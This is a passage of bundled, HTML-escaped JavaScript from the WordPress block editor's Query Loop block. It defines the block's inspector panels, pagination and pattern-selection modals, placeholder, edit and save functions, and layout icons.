        if (!postTypeHasFormatSupport || !isControlAllowed(allowedControls, &quot;format&quot;)) {
          return false;
        }
        const themeSupports = select9(import_core_data73.store).getThemeSupports();
        return themeSupports.formats &amp;&amp; themeSupports.formats.length &gt; 0 &amp;&amp; themeSupports.formats.some((type) =&gt; type !== &quot;standard&quot;);
      },
      [allowedControls, postTypeHasFormatSupport]
    );
    const showFiltersPanel = showTaxControl || showAuthorControl || showSearchControl || showParentControl || showFormatControl;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const showPostCountControl = isControlAllowed(
      allowedControls,
      &quot;postCount&quot;
    );
    const showOffSetControl = isControlAllowed(allowedControls, &quot;offset&quot;);
    const showPagesControl = isControlAllowed(allowedControls, &quot;pages&quot;);
    const showDisplayPanel = showPostCountControl || showOffSetControl || showPagesControl;
    const hasInheritanceWarning = isSingular &amp;&amp; inherit;
    return /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(import_jsx_runtime392.Fragment, { children: [
      showSettingsPanel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(
        import_components128.__experimentalToolsPanel,
        {
          label: (0, import_i18n196.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setQuery({
              postType: &quot;post&quot;,
              order: &quot;desc&quot;,
              orderBy: &quot;date&quot;,
              sticky: &quot;&quot;,
              inherit: true
            });
          },
          dropdownMenuProps,
          children: [
            showInheritControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !inherit,
                label: (0, import_i18n196.__)(&quot;Query type&quot;),
                onDeselect: () =&gt; setQuery({ inherit: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(import_components128.__experimentalVStack, { spacing: 4, children: [
                  /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(
                    import_components128.__experimentalToggleGroupControl,
                    {
                      __next40pxDefaultSize: true,
                      label: (0, import_i18n196.__)(&quot;Query type&quot;),
                      isBlock: true,
                      onChange: (value) =&gt; {
                        setQuery({
                          inherit: value === &quot;default&quot;
                        });
                      },
                      help: inherit ? (0, import_i18n196.__)(
                        &quot;Display a list of posts or custom post types based on the current template.&quot;
                      ) : (0, import_i18n196.__)(
                        &quot;Display a list of posts or custom post types based on specific criteria.&quot;
                      ),
                      value: !!inherit ? &quot;default&quot; : &quot;custom&quot;,
                      children: [
                        /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                          import_components128.__experimentalToggleGroupControlOption,
                          {
                            value: &quot;default&quot;,
                            label: (0, import_i18n196.__)(&quot;Default&quot;)
                          }
                        ),
                        /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                          import_components128.__experimentalToggleGroupControlOption,
                          {
                            value: &quot;custom&quot;,
                            label: (0, import_i18n196.__)(&quot;Custom&quot;)
                          }
                        )
                      ]
                    }
                  ),
                  hasInheritanceWarning &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                    import_components128.Notice,
                    {
                      status: &quot;warning&quot;,
                      isDismissible: false,
                      children: (0, import_i18n196.__)(
                        &quot;Cannot inherit the current template query when placed inside the singular content (e.g., post, page, 404, blank).&quot;
                      )
                    }
                  )
                ] })
              }
            ),
            showPostTypeControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; postType !== &quot;post&quot;,
                label: postTypeControlLabel,
                onDeselect: () =&gt; onPostTypeChange(&quot;post&quot;),
                isShownByDefault: true,
                children: postTypesSelectOptions.length &gt; 2 ? /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  import_components128.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    options: postTypesSelectOptions,
                    value: postType,
                    label: postTypeControlLabel,
                    onChange: onPostTypeChange,
                    help: postTypeControlHelp
                  }
                ) : /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  import_components128.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    isBlock: true,
                    value: postType,
                    label: postTypeControlLabel,
                    onChange: onPostTypeChange,
                    help: postTypeControlHelp,
                    children: postTypesSelectOptions.map(
                      (option) =&gt; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                        import_components128.__experimentalToggleGroupControlOption,
                        {
                          value: option.value,
                          label: option.label
                        },
                        option.value
                      )
                    )
                  }
                )
              }
            ),
            showOrderControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; order !== &quot;desc&quot; || orderBy !== &quot;date&quot;,
                label: (0, import_i18n196.__)(&quot;Order by&quot;),
                onDeselect: () =&gt; setQuery({ order: &quot;desc&quot;, orderBy: &quot;date&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  order_control_default,
                  {
                    ...{ order, orderBy, orderByOptions },
                    onChange: setQuery
                  }
                )
              }
            ),
            showStickyControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!sticky,
                label: (0, import_i18n196.__)(&quot;Sticky posts&quot;),
                onDeselect: () =&gt; setQuery({ sticky: &quot;&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  StickyControl,
                  {
                    value: sticky,
                    onChange: (value) =&gt; setQuery({ sticky: value })
                  }
                )
              }
            )
          ]
        }
      ),
      !inherit &amp;&amp; showDisplayPanel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(
        import_components128.__experimentalToolsPanel,
        {
          className: &quot;block-library-query-toolspanel__display&quot;,
          label: (0, import_i18n196.__)(&quot;Display&quot;),
          resetAll: () =&gt; {
            setQuery({
              offset: 0,
              pages: 0
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n196.__)(&quot;Items per page&quot;),
                hasValue: () =&gt; perPage &gt; 0,
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  per_page_control_default,
                  {
                    perPage,
                    offset,
                    onChange: setQuery
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n196.__)(&quot;Offset&quot;),
                hasValue: () =&gt; offset &gt; 0,
                onDeselect: () =&gt; setQuery({ offset: 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  offset_controls_default,
                  {
                    offset,
                    onChange: setQuery
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n196.__)(&quot;Max pages to show&quot;),
                hasValue: () =&gt; pages &gt; 0,
                onDeselect: () =&gt; setQuery({ pages: 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(pages_control_default, { pages, onChange: setQuery })
              }
            )
          ]
        }
      ),
      !inherit &amp;&amp; showFiltersPanel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsxs)(
        import_components128.__experimentalToolsPanel,
        {
          className: &quot;block-library-query-toolspanel__filters&quot;,
          label: (0, import_i18n196.__)(&quot;Filters&quot;),
          resetAll: () =&gt; {
            setQuery({
              author: &quot;&quot;,
              parents: [],
              search: &quot;&quot;,
              taxQuery: null,
              format: []
            });
            setQuerySearch(&quot;&quot;);
          },
          dropdownMenuProps,
          children: [
            showTaxControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n196.__)(&quot;Taxonomies&quot;),
                hasValue: () =&gt; Object.values(taxQuery || {}).some(
                  (value) =&gt; Object.values(value || {}).some(
                    (termIds) =&gt; !!termIds?.length
                  )
                ),
                onDeselect: () =&gt; setQuery({ taxQuery: null }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  TaxonomyControls,
                  {
                    onChange: setQuery,
                    query
                  }
                )
              }
            ),
            showAuthorControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!authorIds,
                label: (0, import_i18n196.__)(&quot;Authors&quot;),
                onDeselect: () =&gt; setQuery({ author: &quot;&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  author_control_default,
                  {
                    value: authorIds,
                    onChange: setQuery
                  }
                )
              }
            ),
            showSearchControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!querySearch,
                label: (0, import_i18n196.__)(&quot;Keyword&quot;),
                onDeselect: () =&gt; {
                  setQuery({ search: &quot;&quot; });
                  setQuerySearch(&quot;&quot;);
                },
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  import_components128.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n196.__)(&quot;Keyword&quot;),
                    value: querySearch,
                    onChange: (newQuerySearch) =&gt; {
                      debouncedQuerySearch(newQuerySearch);
                      setQuerySearch(newQuerySearch);
                    }
                  }
                )
              }
            ),
            showParentControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!parents?.length,
                label: (0, import_i18n196.__)(&quot;Parents&quot;),
                onDeselect: () =&gt; setQuery({ parents: [] }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  parent_control_default,
                  {
                    parents,
                    postType,
                    onChange: setQuery
                  }
                )
              }
            ),
            showFormatControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
              import_components128.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!format3?.length,
                label: (0, import_i18n196.__)(&quot;Formats&quot;),
                onDeselect: () =&gt; setQuery({ format: [] }),
                children: /* @__PURE__ */ (0, import_jsx_runtime392.jsx)(
                  FormatControls,
                  {
                    onChange: setQuery,
                    query
                  }
                )
              }
            )
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/query/edit/enhanced-pagination-modal.mjs
  var import_components129 = __toESM(require_components(), 1);
  var import_i18n197 = __toESM(require_i18n(), 1);
  var import_element107 = __toESM(require_element(), 1);
  var import_jsx_runtime393 = __toESM(require_jsx_runtime(), 1);
  var modalDescriptionId = &quot;wp-block-query-enhanced-pagination-modal__description&quot;;
  function EnhancedPaginationModal({
    clientId,
    attributes: { enhancedPagination },
    setAttributes
  }) {
    const [isOpen, setOpen] = (0, import_element107.useState)(false);
    const hasUnsupportedBlocks = useUnsupportedBlocks(clientId);
    (0, import_element107.useEffect)(() =&gt; {
      if (enhancedPagination &amp;&amp; hasUnsupportedBlocks) {
        setAttributes({ enhancedPagination: false });
        setOpen(true);
      }
    }, [enhancedPagination, hasUnsupportedBlocks, setAttributes]);
    const closeModal = () =&gt; {
      setOpen(false);
    };
    const notice = (0, import_i18n197.__)(
      &quot;Currently, avoiding full page reloads is not possible when non-interactive or non-client Navigation compatible blocks from plugins are present inside the Query block.&quot;
    ) + &quot; &quot; + (0, import_i18n197.__)(
      &#039;If you still want to prevent full page reloads, remove that block, then disable &quot;Reload full page&quot; again in the Query Block settings.&#039;
    );
    return isOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime393.jsx)(
      import_components129.Modal,
      {
        title: (0, import_i18n197.__)(&quot;Query block: Reload full page enabled&quot;),
        className: &quot;wp-block-query__enhanced-pagination-modal&quot;,
        aria: {
          describedby: modalDescriptionId
        },
        role: &quot;alertdialog&quot;,
        focusOnMount: &quot;firstElement&quot;,
        isDismissible: false,
        onRequestClose: closeModal,
        children: /* @__PURE__ */ (0, import_jsx_runtime393.jsxs)(import_components129.__experimentalVStack, { alignment: &quot;right&quot;, spacing: 5, children: [
          /* @__PURE__ */ (0, import_jsx_runtime393.jsx)(&quot;span&quot;, { id: modalDescriptionId, children: notice }),
          /* @__PURE__ */ (0, import_jsx_runtime393.jsx)(
            import_components129.Button,
            {
              __next40pxDefaultSize: true,
              variant: &quot;primary&quot;,
              onClick: closeModal,
              children: (0, import_i18n197.__)(&quot;OK&quot;)
            }
          )
        ] })
      }
    );
  }

  // packages/block-library/build-module/query/edit/query-toolbar.mjs
  var import_components131 = __toESM(require_components(), 1);
  var import_i18n199 = __toESM(require_i18n(), 1);
  var import_data120 = __toESM(require_data(), 1);
  var import_block_editor208 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/query/edit/pattern-selection.mjs
  var import_element108 = __toESM(require_element(), 1);
  var import_data119 = __toESM(require_data(), 1);
  var import_components130 = __toESM(require_components(), 1);
  var import_block_editor207 = __toESM(require_block_editor(), 1);
  var import_i18n198 = __toESM(require_i18n(), 1);
  var import_jsx_runtime394 = __toESM(require_jsx_runtime(), 1);
  function PatternSelectionModal({
    clientId,
    attributes: attributes2,
    setIsPatternSelectionModalOpen
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(
      import_components130.Modal,
      {
        overlayClassName: &quot;block-library-query-pattern__selection-modal&quot;,
        title: (0, import_i18n198.__)(&quot;Choose a pattern&quot;),
        onRequestClose: () =&gt; setIsPatternSelectionModalOpen(false),
        isFullScreen: true,
        children: /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(PatternSelection, { clientId, attributes: attributes2 })
      }
    );
  }
  function useBlockPatterns(clientId, attributes2) {
    const blockNameForPatterns = useBlockNameForPatterns(
      clientId,
      attributes2
    );
    const allPatterns = usePatterns(clientId, blockNameForPatterns);
    const rootBlockPatterns = (0, import_element108.useMemo)(() =&gt; {
      return allPatterns.filter((pattern) =&gt; {
        return pattern.blocks?.[0]?.name === &quot;core/query&quot;;
      });
    }, [allPatterns]);
    return rootBlockPatterns;
  }
  function PatternSelection({
    clientId,
    attributes: attributes2,
    showTitlesAsTooltip = false,
    showSearch = true
  }) {
    const [searchValue, setSearchValue] = (0, import_element108.useState)(&quot;&quot;);
    const { replaceBlock, selectBlock } = (0, import_data119.useDispatch)(import_block_editor207.store);
    const blockPatterns = useBlockPatterns(clientId, attributes2);
    const blockPreviewContext = (0, import_element108.useMemo)(
      () =&gt; ({
        previewPostType: attributes2.query.postType
      }),
      [attributes2.query.postType]
    );
    const filteredBlockPatterns = (0, import_element108.useMemo)(() =&gt; {
      return searchPatterns(blockPatterns, searchValue);
    }, [blockPatterns, searchValue]);
    const onBlockPatternSelect = (pattern, blocks) =&gt; {
      const { newBlocks, queryClientIds } = getTransformedBlocksFromPattern(
        blocks,
        attributes2
      );
      replaceBlock(clientId, newBlocks);
      if (queryClientIds[0]) {
        selectBlock(queryClientIds[0]);
      }
    };
    return /* @__PURE__ */ (0, import_jsx_runtime394.jsxs)(&quot;div&quot;, { className: &quot;block-library-query-pattern__selection-content&quot;, children: [
      showSearch &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(&quot;div&quot;, { className: &quot;block-library-query-pattern__selection-search&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(
        import_components130.SearchControl,
        {
          onChange: setSearchValue,
          value: searchValue,
          label: (0, import_i18n198.__)(&quot;Search&quot;),
          placeholder: (0, import_i18n198.__)(&quot;Search&quot;)
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(import_block_editor207.BlockContextProvider, { value: blockPreviewContext, children: /* @__PURE__ */ (0, import_jsx_runtime394.jsx)(
        import_block_editor207.__experimentalBlockPatternsList,
        {
          blockPatterns: filteredBlockPatterns,
          onClickPattern: onBlockPatternSelect,
          showTitlesAsTooltip
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/query/edit/query-toolbar.mjs
  var import_jsx_runtime395 = __toESM(require_jsx_runtime(), 1);
  function PatternPicker({ clientId, attributes: attributes2, hasInnerBlocks }) {
    const hasPatterns = useBlockPatterns(clientId, attributes2).length;
    if (!hasPatterns) {
      return null;
    }
    const buttonLabel = hasInnerBlocks ? (0, import_i18n199.__)(&quot;Change design&quot;) : (0, import_i18n199.__)(&quot;Choose pattern&quot;);
    return /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(import_block_editor208.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(import_components131.__experimentalDropdownContentWrapper, { children: /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(
      import_components131.Dropdown,
      {
        contentClassName: &quot;block-editor-block-settings-menu__popover&quot;,
        focusOnMount: &quot;firstElement&quot;,
        expandOnMobile: true,
        renderToggle: ({ isOpen, onToggle }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(
          import_components131.ToolbarButton,
          {
            &quot;aria-haspopup&quot;: &quot;true&quot;,
            &quot;aria-expanded&quot;: isOpen,
            onClick: onToggle,
            children: buttonLabel
          }
        ),
        renderContent: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(
          PatternSelection,
          {
            clientId,
            attributes: attributes2,
            showSearch: false,
            showTitlesAsTooltip: true
          }
        )
      }
    ) }) });
  }
  function QueryToolbar(props) {
    const isLocked = (0, import_data120.useSelect)(
      (select9) =&gt; {
        const { isLockedBlock } = unlock(select9(import_block_editor208.store));
        return isLockedBlock(props.clientId);
      },
      [props.clientId]
    );
    if (isLocked) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime395.jsx)(PatternPicker, { ...props });
  }

  // packages/block-library/build-module/query/edit/query-content.mjs
  var import_jsx_runtime396 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl6 } = unlock(import_block_editor209.privateApis);
  var DEFAULTS_POSTS_PER_PAGE = 3;
  var TEMPLATE13 = [[&quot;core/post-template&quot;]];
  function QueryContent({
    attributes: attributes2,
    setAttributes,
    clientId,
    context,
    name: name123,
    isSelected
  }) {
    const {
      queryId,
      query,
      enhancedPagination,
      tagName: TagName2 = &quot;div&quot;,
      query: { inherit } = {}
    } = attributes2;
    const { templateSlug } = context;
    const { isSingular } = getQueryContextFromTemplate(templateSlug);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data121.useDispatch)(import_block_editor209.store);
    const instanceId = (0, import_compose49.useInstanceId)(QueryContent);
    const blockProps = (0, import_block_editor209.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor209.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE13
    });
    const { postsPerPage } = (0, import_data121.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor209.store);
      const { getEntityRecord, getEntityRecordEdits, canUser } = select9(import_core_data74.store);
      const settingPerPage = canUser(&quot;read&quot;, {
        kind: &quot;root&quot;,
        name: &quot;site&quot;
      }) ? +getEntityRecord(&quot;root&quot;, &quot;site&quot;)?.posts_per_page : +getSettings2().postsPerPage;
      const editedSettingPerPage = +getEntityRecordEdits(&quot;root&quot;, &quot;site&quot;)?.posts_per_page;
      return {
        postsPerPage: editedSettingPerPage || settingPerPage || DEFAULTS_POSTS_PER_PAGE
      };
    }, []);
    const updateQuery = (0, import_element109.useCallback)(
      (newQuery) =&gt; setAttributes((prevAttributes) =&gt; ({
        query: { ...prevAttributes.query, ...newQuery }
      })),
      [setAttributes]
    );
    (0, import_element109.useEffect)(() =&gt; {
      const newQuery = {};
      if (inherit &amp;&amp; query.perPage !== postsPerPage) {
        newQuery.perPage = postsPerPage;
      } else if (!query.perPage &amp;&amp; postsPerPage) {
        newQuery.perPage = postsPerPage;
      }
      if (!!Object.keys(newQuery).length) {
        __unstableMarkNextChangeAsNotPersistent();
        updateQuery(newQuery);
      }
    }, [
      query.perPage,
      inherit,
      postsPerPage,
      __unstableMarkNextChangeAsNotPersistent,
      updateQuery
    ]);
    (0, import_element109.useEffect)(() =&gt; {
      if (!Number.isFinite(queryId)) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({ queryId: instanceId });
      }
    }, [
      queryId,
      instanceId,
      __unstableMarkNextChangeAsNotPersistent,
      setAttributes
    ]);
    return /* @__PURE__ */ (0, import_jsx_runtime396.jsxs)(import_jsx_runtime396.Fragment, { children: [
      isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(
        QueryToolbar,
        {
          clientId,
          attributes: attributes2,
          hasInnerBlocks: true
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(
        EnhancedPaginationModal,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(import_block_editor209.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(
        QueryInspectorControls,
        {
          name: name123,
          attributes: attributes2,
          setQuery: updateQuery,
          setAttributes,
          clientId,
          isSingular
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime396.jsxs)(import_block_editor209.InspectorControls, { group: &quot;advanced&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(
          HTMLElementControl6,
          {
            tagName: TagName2,
            onChange: (value) =&gt; setAttributes({ tagName: value }),
            clientId,
            options: [
              { label: (0, import_i18n200.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
              { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
              { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
              { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; }
            ]
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(
          EnhancedPaginationControl,
          {
            enhancedPagination,
            setAttributes,
            clientId
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime396.jsx)(TagName2, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/query/edit/query-placeholder.mjs
  var import_data122 = __toESM(require_data(), 1);
  var import_blocks96 = __toESM(require_blocks(), 1);
  var import_element110 = __toESM(require_element(), 1);
  var import_block_editor210 = __toESM(require_block_editor(), 1);
  var import_components132 = __toESM(require_components(), 1);
  var import_i18n201 = __toESM(require_i18n(), 1);
  var import_compose50 = __toESM(require_compose(), 1);
  var import_jsx_runtime397 = __toESM(require_jsx_runtime(), 1);
  function QueryPlaceholder({
    attributes: attributes2,
    clientId,
    name: name123,
    openPatternSelectionModal,
    isSelected
  }) {
    const [isStartingBlank, setIsStartingBlank] = (0, import_element110.useState)(false);
    const [containerWidth, setContainerWidth] = (0, import_element110.useState)(0);
    const resizeObserverRef = (0, import_compose50.useResizeObserver)(([entry]) =&gt; {
      setContainerWidth(entry.contentRect.width);
    });
    const SMALL_CONTAINER_BREAKPOINT = 160;
    const isSmallContainer = containerWidth &gt; 0 &amp;&amp; containerWidth &lt; SMALL_CONTAINER_BREAKPOINT;
    const { blockType, activeBlockVariation } = (0, import_data122.useSelect)(
      (select9) =&gt; {
        const { getActiveBlockVariation, getBlockType: getBlockType5 } = select9(import_blocks96.store);
        return {
          blockType: getBlockType5(name123),
          activeBlockVariation: getActiveBlockVariation(
            name123,
            attributes2
          )
        };
      },
      [name123, attributes2]
    );
    const hasPatterns = !!useBlockPatterns(clientId, attributes2).length;
    const icon4 = activeBlockVariation?.icon?.src || activeBlockVariation?.icon || blockType?.icon?.src;
    const label = activeBlockVariation?.title || blockType?.title;
    const blockProps = (0, import_block_editor210.useBlockProps)({
      ref: resizeObserverRef
    });
    if (isStartingBlank) {
      return /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(
        QueryVariationPicker,
        {
          clientId,
          attributes: attributes2,
          icon: icon4,
          label
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime397.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(
        QueryToolbar,
        {
          clientId,
          attributes: attributes2,
          hasInnerBlocks: false
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime397.jsxs)(
        import_components132.Placeholder,
        {
          className: &quot;block-editor-media-placeholder&quot;,
          icon: !isSmallContainer &amp;&amp; icon4,
          label: !isSmallContainer &amp;&amp; label,
          instructions: !isSmallContainer &amp;&amp; (0, import_i18n201.__)(&quot;Choose a pattern for the query loop or start blank.&quot;),
          withIllustration: isSmallContainer,
          children: [
            !!hasPatterns &amp;&amp; !isSmallContainer &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(
              import_components132.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                onClick: openPatternSelectionModal,
                children: (0, import_i18n201.__)(&quot;Choose&quot;)
              }
            ),
            !isSmallContainer &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(
              import_components132.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;secondary&quot;,
                onClick: () =&gt; {
                  setIsStartingBlank(true);
                },
                children: (0, import_i18n201.__)(&quot;Start blank&quot;)
              }
            )
          ]
        }
      )
    ] });
  }
  function QueryVariationPicker({ clientId, attributes: attributes2, icon: icon4, label }) {
    const scopeVariations = useScopedBlockVariations(attributes2);
    const { replaceInnerBlocks } = (0, import_data122.useDispatch)(import_block_editor210.store);
    const blockProps = (0, import_block_editor210.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime397.jsx)(
      import_block_editor210.__experimentalBlockVariationPicker,
      {
        icon: icon4,
        label,
        variations: scopeVariations,
        onSelect: (variation) =&gt; {
          if (variation.innerBlocks) {
            replaceInnerBlocks(
              clientId,
              (0, import_blocks96.createBlocksFromInnerBlocksTemplate)(
                variation.innerBlocks
              ),
              false
            );
          }
        }
      }
    ) });
  }

  // packages/block-library/build-module/query/edit/index.mjs
  var import_jsx_runtime398 = __toESM(require_jsx_runtime(), 1);
  var QueryEdit = (props) =&gt; {
    const { clientId, attributes: attributes2 } = props;
    const [isPatternSelectionModalOpen, setIsPatternSelectionModalOpen] = (0, import_element111.useState)(false);
    const hasInnerBlocks = (0, import_data123.useSelect)(
      (select9) =&gt; !!select9(import_block_editor211.store).getBlocks(clientId).length,
      [clientId]
    );
    const Component = hasInnerBlocks ? QueryContent : QueryPlaceholder;
    return /* @__PURE__ */ (0, import_jsx_runtime398.jsxs)(import_jsx_runtime398.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime398.jsx)(
        Component,
        {
          ...props,
          openPatternSelectionModal: () =&gt; setIsPatternSelectionModalOpen(true)
        }
      ),
      isPatternSelectionModalOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime398.jsx)(
        PatternSelectionModal,
        {
          clientId,
          attributes: attributes2,
          setIsPatternSelectionModalOpen
        }
      )
    ] });
  };
  var edit_default31 = QueryEdit;

  // packages/block-library/build-module/query/save.mjs
  var import_block_editor212 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime399 = __toESM(require_jsx_runtime(), 1);
  function save41({ attributes: { tagName: Tag = &quot;div&quot; } }) {
    const blockProps = import_block_editor212.useBlockProps.save();
    const innerBlocksProps = import_block_editor212.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime399.jsx)(Tag, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/query/variations.mjs
  var import_i18n202 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/query/icons.mjs
  var import_components133 = __toESM(require_components(), 1);
  var import_jsx_runtime400 = __toESM(require_jsx_runtime(), 1);
  var titleDate = /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.Path, { d: &quot;M41 9H7v3h34V9zm-22 5H7v1h12v-1zM7 26h12v1H7v-1zm34-5H7v3h34v-3zM7 38h12v1H7v-1zm34-5H7v3h34v-3z&quot; }) });
  var titleExcerpt = /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.Path, { d: &quot;M41 9H7v3h34V9zm-4 5H7v1h30v-1zm4 3H7v1h34v-1zM7 20h30v1H7v-1zm0 12h30v1H7v-1zm34 3H7v1h34v-1zM7 38h30v1H7v-1zm34-11H7v3h34v-3z&quot; }) });
  var titleDateExcerpt = /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime400.jsx)(import_components133.Path, { d: &quot;M41 9H7v3h34V9zm-22 5H7v1h12v-1zm22 3H7v1h34v-1zM7 20h34v1H7v-1zm0 12h12v1H7v-1zm34 3H7v1h34v-1zM7 38h34v1H7v-1zm34-11H7v3h34v-3z&quot; }) });
